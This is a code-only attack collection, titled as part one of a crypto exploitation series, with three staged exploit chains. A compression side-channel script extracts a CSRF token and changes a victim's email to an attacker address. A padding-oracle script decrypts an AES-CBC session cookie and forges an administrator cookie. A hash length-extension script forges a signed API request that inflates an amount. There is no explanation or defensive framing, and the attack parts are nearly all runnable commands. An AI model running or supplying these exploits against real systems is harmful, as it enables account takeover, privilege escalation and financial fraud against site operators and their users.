AfterMath Crypto Exploitation Statistical Attacks Part 1 of 3

# LEAK — baseline compressed size with neutral prefix
baseline=$(curl -s -o /dev/null -w "%{size_download}" --compressed \
  -H "Cookie: session=$SESSION" "$URL?q=AAAA")

# ITERATE — extract CSRF token character by character
CHARSET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
KNOWN=""
while true; do
  best_char=""; best_size=99999
  for c in $(echo "$CHARSET" | fold -w1); do
    size=$(curl -s -o /dev/null -w "%{size_download}" --compressed \
      -H "Cookie: session=$SESSION" \
      "$URL?q=${KNOWN}${c}")
    [ "$size" -lt "$best_size" ] && best_size=$size && best_char=$c
  done
  KNOWN="${KNOWN}${best_char}"
  [ ${#KNOWN} -ge 44 ] && break
done

# TAKE — fire extracted token to perform state-changing action
curl -s -X POST https://target.com/account/email \
  -H "Cookie: session=$SESSION" \
  -d "_csrf=$KNOWN&email=attacker@attacker.com" \
  -w "\nHTTP: %{http_code}"

# LEAK — capture AES-CBC token, confirm oracle type
CT=$(curl -s -c /tmp/j.txt -D /tmp/h.txt "$URL/login" \
  -d "user=guest&pass=guest" > /dev/null && \
  grep -i "set-cookie" /tmp/h.txt | grep -oP "(?<=auth=)[^;]+")

# ITERATE — byte-by-byte padding oracle decryption
def oracle(ct_bytes):
  b64 = base64.b64encode(bytes(ct_bytes)).decode().rstrip('=')
  r = requests.get(f"{url}/profile", cookies={"auth": b64})
  return r.status_code != 500  # True = valid padding

for pos in range(block-1, -1, -1):
  pad_byte = block - pos
  for guess in range(256):
    crafted[pos] = guess
    if oracle(crafted):
      intermediate[pos] = guess ^ pad_byte; break

# TAKE — forge admin cookie, submit, confirm escalation
target_plain = b'{"user":"admin","role":"administrator"}\x09\x09\x09\x09\x09\x09\x09\x09\x09'
forged_iv = bytes(intermediate[i] ^ target_plain[i] for i in range(block))
forged = base64.b64encode(bytes(forged_iv) + bytes(C_curr)).decode().rstrip('=')
r = requests.get(f"{url}/admin", cookies={"auth": forged})
print(f"Admin access: HTTP {r.status_code}")

# LEAK — fingerprint MAC construction from signature length
SIG=$(curl -s -D /tmp/h.txt "$URL/v1/action?user=guest&amount=10" | \
  grep -i "x-signature" /tmp/h.txt | grep -oP '[a-f0-9]{64}')
# 64 hex chars → SHA-256 → vulnerable to length extension

# ITERATE — enumerate secret length, forge signature via hash state resumption
for LEN in $(seq 1 32); do
  NEW_SIG=$(hash_extender \
    --data "user=guest&amount=10" \
    --signature "$SIG" \
    --append "&amount=99999" \
    --secret-min-length $LEN --secret-max-length $LEN \
    --format hex | grep "New signature:" | awk '{print $NF}')
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    "$URL/v1/action?user=guest&amount=99999&sig=${NEW_SIG}")
  [ "$CODE" != "403" ] && echo "Secret len $LEN — server accepted" && break
done

# TAKE — escalated API action accepted with forged signature
NEW_MSG=$(hash_extender --data "user=guest&amount=10" \
  --signature "$SIG" --append "&amount=99999" \
  --secret-min-length $LEN --secret-max-length $LEN \
  --format hex --out-data-format html | grep "New string:" | awk '{print $NF}')
curl -s -X POST "$URL/v1/action" \
  -d "${NEW_MSG}&sig=${NEW_SIG}" -w "\nHTTP: %{http_code}"